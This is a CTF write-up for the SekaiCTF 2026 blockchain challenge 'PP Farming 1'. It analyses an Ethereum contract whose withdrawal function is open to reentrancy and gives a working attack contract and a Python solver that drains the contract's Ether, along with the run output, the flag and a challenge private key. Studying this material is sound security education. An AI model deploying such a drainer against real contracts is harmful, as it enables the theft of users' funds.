12 minutes
SekaiCTF 2026 - Blockchain Writeups (Part 1): PP Farming
Introduction
After solving the cryptography challenge presented in the previous post, I decided to explore another category of SekaiCTF 2026. This time, I focused on blockchain challenges, which offered a completely different set of problems centered around smart contract security and decentralized application logic. Unlike traditional binary exploitation or cryptographic attacks, blockchain challenges often require identifying flaws in contract design, state management and interactions between multiple contracts.
The challenge discussed in this post is PP Farming 1, an Ethereum smart contract challenge that demonstrates one of the most well-known vulnerabilities in smart contract development: reentrancy. Although this class of vulnerability has been extensively studied since the infamous DAO exploit, it continues to appear in Capture The Flag competitions because it teaches an important security principle that every smart contract developer should understand.
In this writeup, we will reverse engineer the provided contracts, analyze the vulnerable withdrawal logic and explain why the implementation violates the Checks–Effects–Interactions pattern. We will then develop a malicious contract that repeatedly re-enters the vulnerable function before the contract state is updated, allowing us to drain its funds and successfully complete the challenge.
Challenge Overview
The challenge was named PP Farming 1 and included the following description:
I found a new way to PP farm, surely nothing could go wrong!

Alongside the challenge description, a compressed .tar.gz archive was provided containing a complete Foundry project with the deployment script and the smart contracts implementing the challenge. Unlike many blockchain CTF tasks that only provide a single contract, this challenge consisted of multiple components that interact with one another. Before attempting to develop an exploit, it is useful to understand the role of each file and how the challenge environment is initialized.
Analyzing the Smart Contracts
Deploy.s.sol
The first file is Deploy.s.sol, which is responsible for deploying the challenge instance. Like many blockchain CTF challenges, this script initializes the environment and specifies which contract should be exposed to the player.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import "forge-ctf/CTFDeployer.sol";
import "forge-ctf/CTFChallenge.sol";
import "src/PerformancePointATM.sol";
contract Deploy is CTFDeployer {
function deploy(address system, address player) internal override returns (CTFChallenge[] memory challenges) {
vm.startBroadcast(system);
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}();
challenges = new CTFChallenge[](1);
challenges[0] = CTFChallenge("PerformancePointATM", address(atm));
vm.stopBroadcast();
}
}
The deployment script is relatively straightforward. It creates a new instance of the PerformancePointATM contract while funding it with 10 Ether, which represents the funds available inside the ATM. The deployed contract is then registered as the only challenge instance.
From this script, we immediately learn two important pieces of information. First, the contract starts with a balance of 10 Ether, meaning there are sufficient funds available to steal. Second, the challenge only exposes a single contract, indicating that the vulnerability is expected to reside inside PerformancePointATM.sol.
PerformancePointATM.sol
The core logic of the challenge is implemented inside PerformancePointATM.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract PerformancePointATM {
mapping(address => uint256) public scores;
constructor() payable {
}
function donatePP(address _to) public payable {
scores[_to] = scores[_to] + msg.value;
}
function checkPP(address _who) public view returns (uint256 score) {
return scores[_who];
}
function withdrawPP() public {
uint256 score = scores[msg.sender];
require(score > 0, "Nothing to withdraw");
(bool result, ) = msg.sender.call{value: score}("");
require(result, "Transfer failed");
scores[msg.sender] = 0;
}
function isSolved() view public returns (bool) {
return address(this).balance == 0;
}
receive() external payable {}
}
The contract implements a very simple “Performance Point ATM”. Users can donate Ether on behalf of any address through the donatePP() function, which records the deposited amount in the scores mapping. The checkPP() function simply returns the recorded balance for a given address, while withdrawPP() allows users to withdraw the amount currently associated with their account.
At first glance, the implementation appears correct. A user’s deposited balance is read from storage, transferred back to the caller and finally reset to zero. However, the exact order in which these operations are performed turns out to be critical. The contract transfers Ether to the caller before clearing the user’s balance, creating a window in which malicious code can execute while the contract still believes the attacker owns their original funds.
This observation immediately suggests a classic reentrancy vulnerability. To understand why, we need to examine the implementation of withdrawPP() more closely and analyze how an attacker can repeatedly invoke the function before the internal state is updated.
Identifying the Vulnerability
Since the challenge consists of only a single functional contract, our attention naturally turns to the implementation of withdrawPP(), as this is the only function responsible for transferring Ether out of the contract:
function withdrawPP() public {
uint256 score = scores[msg.sender];
require(score > 0, "Nothing to withdraw");
(bool result, ) = msg.sender.call{value: score}("");
require(result, "Transfer failed");
scores[msg.sender] = 0;
}
The function first retrieves the amount of Ether associated with the caller from the scores mapping and verifies that it is greater than zero. It then transfers the corresponding amount of Ether using the low-level call() function before finally resetting the user’s balance to zero.
At first glance, this implementation appears perfectly reasonable. After all, the contract validates the user’s balance, transfers the requested amount and eventually clears the stored value. However, the order of these operations is extremely important.
The following sequence summarizes the execution flow:
- Read the user’s balance from storage.
- Transfer Ether to the caller using
call(). - Reset the user’s balance to zero.
The critical observation is that call() is not simply a value transfer. If the recipient is another smart contract, Solidity transfers execution to the recipient’s receive() or fallback() function before withdrawPP() continues executing. In other words, the recipient is given complete control while the scores mapping still contains the original balance.
This means that a malicious contract can immediately invoke withdrawPP() again from within its receive() function. Since the balance has not yet been reset, the second invocation once again observes the same non-zero value and successfully performs another transfer. The same process can be repeated recursively until the ATM contract runs out of Ether.
This is a textbook example of a reentrancy vulnerability, caused by violating the Checks–Effects–Interactions pattern. The recommended order of operations is:
- Checks – validate all preconditions.
- Effects – update the contract’s internal state.
- Interactions – perform external calls.
In this contract, the interaction with an untrusted external address occurs before the internal state is updated. As a result, the contract temporarily remains in an inconsistent state, allowing an attacker to repeatedly withdraw the same balance before it is finally cleared.
Having identified the vulnerability, the next step is to construct a malicious contract that exploits this execution flow and repeatedly re-enters withdrawPP() until the ATM’s balance is completely drained.
Exploiting the Vulnerability
Once the vulnerability has been identified, the exploitation strategy becomes relatively straightforward. The vulnerable contract allows us to repeatedly invoke withdrawPP() before our balance is reset to zero. Consequently, the objective is simply to create a contract capable of recursively calling the withdrawal function until all Ether stored in the ATM has been drained.
The attack begins by depositing a small amount of Ether into the ATM. This creates an entry in the scores mapping for the attack contract. In our case, depositing 1 Ether is sufficient, meaning that the contract records:
scores[AttackContract] = 1 ETH
The attacker then initiates the first withdrawal by calling withdrawPP(). Internally, the vulnerable contract performs the following operations:
score = scores[msg.sender]
↓
send score Ether to msg.sender
↓
scores[msg.sender] = 0
The crucial observation is that the Ether transfer is performed before the mapping is updated. Since the recipient is our malicious contract, receiving Ether immediately triggers its receive() function. At that moment, execution returns to our code while the victim contract still stores
scores[AttackContract] = 1 ETH
Instead of simply accepting the transfer, our contract immediately calls withdrawPP() again. The second invocation follows exactly the same execution path:
score = scores[AttackContract] = 1 ETH
↓
send another 1 ETH
↓
receive()
↓
withdrawPP()
Since the assignment resetting the score has still not been executed, every recursive invocation observes exactly the same balance and successfully withdraws another 1 Ether. The execution therefore evolves into the following recursive call chain:
attack()
│
└── withdrawPP()
│
├── send 1 ETH
│
▼
receive()
│
└── withdrawPP()
│
├── send 1 ETH
│
▼
receive()
│
└── withdrawPP()
│
▼
...
The recursion continues until the ATM contract contains less than 1 Ether, at which point our receive() function stops issuing further withdrawal requests and the recursive calls begin unwinding. Only then does each invocation finally execute the statement
scores[msg.sender] = 0;
Unfortunately for the victim contract, this happens far too late. By the time the internal balance is cleared, the attacker has already withdrawn the same deposited Ether multiple times, draining the entire contract.
To implement this attack, I created a small helper contract. The attack() function deposits 1 Ether, initiates the first withdrawal and finally forwards the stolen Ether back to the player’s account. The receive() function performs the recursive reentrancy by repeatedly invoking withdrawPP() while sufficient Ether remains inside the ATM:
contract AttackPP {
IPerformancePointATM public atm;
address public owner;
constructor(address _atm) {
atm = IPerformancePointATM(_atm);
owner = msg.sender;
}
function attack() external payable {
require(msg.value == 1 ether, "Send exactly 1 ETH");
atm.donatePP{value: msg.value}(address(this));
atm.withdrawPP();
payable(owner).transfer(address(this).balance);
}
receive() external payable {
if (address(atm).balance >= 1 ether) {
atm.withdrawPP();
}
}
}
With the exploit contract implemented, all that remains is to deploy it, invoke the attack() function and allow the recursive withdrawals to empty the ATM. Once the contract balance reaches zero, the challenge condition checked by isSolved() is satisfied.
Getting the Flag
With the exploit contract complete, the final step is to automate the attack against the remote challenge instance. The challenge provides an Ethereum RPC endpoint together with the player’s private key and the address of the deployed PerformancePointATM contract. Using these values, we can write a Python script that compiles the exploit contract, deploys it and executes the attack without any manual interaction.
The exploit uses the web3.py library to communicate with the blockchain and py-solc-x to compile the Solidity source code directly from within Python. This makes the script completely self-contained, as the malicious contract is compiled and deployed on demand before the exploit is executed.
The script first establishes a connection to the challenge RPC endpoint and loads the player’s account using the provided private key:
w3 = Web3(Web3.HTTPProvider(RPC_URL))
acct = w3.eth.account.from_key(PRIVATE_KEY)
Next, the malicious contract is compiled using Solidity version 0.8.20. Once compilation completes, the generated ABI and bytecode are extracted and used to create a deployable contract object:
install_solc("0.8.20")
compiled = compile_source(
source,
output_values=["abi", "bin"],
solc_version="0.8.20"
)
contract_interface = compiled["<stdin>:AttackPP"]
abi = contract_interface["abi"]
bytecode = contract_interface["bin"]
AttackPP = w3.eth.contract(
abi=abi,
bytecode=bytecode
)
The script then deploys the exploit contract to the challenge instance and waits for the deployment transaction to be mined:
deploy_tx = AttackPP.constructor(
ATM_ADDRESS
).build_transaction({
"from": acct.address,
"nonce": nonce,
"gas": 1_500_000,
"gasPrice": w3.eth.gas_price,
})
tx_hash, receipt = send_tx(deploy_tx)
attack_address = receipt.contractAddress
Finally, the exploit is triggered by calling the attack() function while sending 1 Ether. This single transaction deposits the Ether into the ATM and immediately starts the recursive reentrancy attack described in the previous section:
attack_tx = attack.functions.attack().build_transaction({
"from": acct.address,
"nonce": nonce,
"value": w3.to_wei(1, "ether"),
"gas": 3_000_000,
"gasPrice": w3.eth.gas_price,
})
tx_hash, receipt = send_tx(attack_tx)
Putting everything together, we obtain the following solver script:
from web3 import Web3
from solcx import compile_source, install_solc
RPC_URL = "https://eth.chals.sekai.team/LJugVMIAjaJFEiuXQevPVyUb/main"
PRIVATE_KEY = "84c71cff7b8cc6096e3b44565854d4a9ff89a2132139fc4239d3a71be327978b"
ATM_ADDRESS = "0x4DcF74f19A0cbdE12E4480347A4492a07D590fEc"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
acct = w3.eth.account.from_key(PRIVATE_KEY)
source = """
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IPerformancePointATM {
function donatePP(address _to) external payable;
function withdrawPP() external;
function isSolved() external view returns (bool);
}
contract AttackPP {
IPerformancePointATM public atm;
address public owner;
constructor(address _atm) {
atm = IPerformancePointATM(_atm);
owner = msg.sender;
}
function attack() external payable {
require(msg.value == 1 ether, "Send exactly 1 ETH");
atm.donatePP{value: msg.value}(address(this));
atm.withdrawPP();
payable(owner).transfer(address(this).balance);
}
receive() external payable {
if (address(atm).balance >= 1 ether) {
atm.withdrawPP();
}
}
}
"""
atm_abi = [
{
"inputs": [],
"name": "isSolved",
"outputs": [{"type": "bool"}],
"stateMutability": "view",
"type": "function",
}
]
def send_tx(tx):
signed = acct.sign_transaction(tx)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
return tx_hash, receipt
print("[+] Player:", acct.address)
print("[+] Player balance:", w3.from_wei(w3.eth.get_balance(acct.address), "ether"), "ETH")
print("[+] ATM balance before:", w3.from_wei(w3.eth.get_balance(ATM_ADDRESS), "ether"), "ETH")
install_solc("0.8.20")
compiled = compile_source(
source,
output_values=["abi", "bin"],
solc_version="0.8.20"
)
contract_interface = compiled["<stdin>:AttackPP"]
abi = contract_interface["abi"]
bytecode = contract_interface["bin"]
AttackPP = w3.eth.contract(abi=abi, bytecode=bytecode)
nonce = w3.eth.get_transaction_count(acct.address)
deploy_tx = AttackPP.constructor(ATM_ADDRESS).build_transaction({
"from": acct.address,
"nonce": nonce,
"gas": 1_500_000,
"gasPrice": w3.eth.gas_price,
})
tx_hash, receipt = send_tx(deploy_tx)
assert receipt.status == 1, "Deployment failed"
attack_address = receipt.contractAddress
print("[+] Attack contract deployed:", attack_address)
attack = w3.eth.contract(address=attack_address, abi=abi)
nonce += 1
attack_tx = attack.functions.attack().build_transaction({
"from": acct.address,
"nonce": nonce,
"value": w3.to_wei(1, "ether"),
"gas": 3_000_000,
"gasPrice": w3.eth.gas_price,
})
tx_hash, receipt = send_tx(attack_tx)
print("[+] Attack tx:", tx_hash.hex())
print("[+] Attack status:", receipt.status)
atm = w3.eth.contract(address=ATM_ADDRESS, abi=atm_abi)
print("[+] ATM balance after:", w3.from_wei(w3.eth.get_balance(ATM_ADDRESS), "ether"), "ETH")
print("[+] Solved:", atm.functions.isSolved().call())
print("[+] Player balance after:", w3.from_wei(w3.eth.get_balance(acct.address), "ether"), "ETH")
Executing the exploit deploys the malicious contract, initiates the reentrancy attack and repeatedly withdraws the same deposited Ether until the ATM balance is completely drained. After the transaction completes, the script verifies that the contract balance is zero and calls isSolved() to confirm that the challenge has been successfully completed.
$ python3 solve.py
[+] Player: 0xb34B6DDD53ff748F2D15129FE280310616c84D47
[+] Player balance: 999.999900451281423 ETH
[+] ATM balance before: 10 ETH
[+] Attack contract deployed: 0xEd867983Ed8F4be75486e7932CD81E0Ac287b053
[+] Attack tx: 4231a0806efdcf1ff1c0bfc5ce13577c614ff549f7a3f22e14fa94d951a90f31
[+] Attack status: 1
[+] ATM balance after: 0 ETH
[+] Solved: True
[+] Player balance after: 1009.999013720376898266 ETH
With the ATM contract completely drained, the condition checked by isSolved() evaluates to true, allowing us to retrieve the flag and complete the challenge:
SEKAI{3Z_re3ntr4ncy_atTack5}
Conclusion
Although PP Farming 1 is intentionally small, it showcases one of the most influential vulnerabilities in the history of Ethereum smart contracts. A single misplaced line of code—updating the user’s balance only after performing an external call—was enough to allow an attacker to repeatedly withdraw the same funds and completely drain the contract.
The challenge serves as an excellent reminder of why the Checks–Effects–Interactions pattern exists. By updating the contract’s internal state before interacting with external contracts, developers can eliminate an entire class of reentrancy vulnerabilities. Modern Solidity development also benefits from additional defensive mechanisms, such as reentrancy guards and pull-payment patterns, which further reduce the attack surface when transferring Ether.
While this example is intentionally simplified for educational purposes, similar vulnerabilities have led to real-world losses worth millions of dollars. Understanding how reentrancy attacks work, why they occur and how they can be prevented remains an essential skill for anyone developing or auditing smart contracts. Even after nearly a decade, reentrancy continues to appear in blockchain competitions and security assessments, making this challenge an excellent introduction to one of Ethereum’s classic exploitation techniques.
Blockchain CTF Jeopardy SekaiCTF 2026 Smart Contracts Ethereum Reentracy
2450 Words
2026-06-29 11:16